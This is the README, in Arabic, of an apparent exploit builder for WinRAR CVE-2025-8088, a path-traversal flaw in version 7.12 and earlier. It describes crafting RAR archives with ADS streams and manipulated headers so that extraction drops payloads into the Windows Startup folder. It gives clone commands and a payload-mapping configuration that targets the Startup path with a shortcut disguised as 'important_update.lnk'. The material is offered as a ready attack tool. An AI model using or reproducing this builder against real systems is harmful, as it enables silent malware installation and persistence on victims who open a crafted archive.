CVE-2025-8088-WinRAR-builder

استغلال POC لثغرة WinRAR (CVE-2025-8088) التي تؤثر على الإصدارات 7.12 والإصدارات الأقدم

🚀 كيف يعمل

1. ينشئ ملف RAR مدمج مع حمولات أخرى
2. يستخدم تدفقات ADS متعددة 🔄 - يرفق تدفقات الحمولات بأعماق مختلفة لتجاوز المسارات
3. يتلاعب برؤوس RAR ⚙️ - يعدّل بنية الأرشيف لاستغلال ثغرة تجاوز المسار
4. يُسقط الحمولة في مجلد بدء التشغيل 📂 - يحاول كتابة الحمولة إلى مجلد بدء تشغيل Windows عند الاستخراج

🛠️ الاستخدام

1. استنسخ المستودع

git clone https://github.com/papcaii2004/CVE-2025-8088-WinRAR-builder.git
cd CVE-2025-8088-WinRAR-builder

2. جهّز الحمولات

mkdir payloads

• أضف حمولاتك إلى هذا المجلد (exe, dll, lnk, ...)
• عدّل PAYLOAD_MAPPING في السكربت

# 2. Map our payload to corresponding destination
#   Format: (filename_in_payloads_dir, target_extract_dest)
PAYLOAD_MAPPING: List[Tuple[str, str]] = [
    # Payload 1
    ("payload.lnk", "..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\important_update.lnk"),

    # Payload 2
    ("image.png", "C:\\Users\\Public\\Downloads\\logo.png"),

    # Payload 3
    # Add your own    
]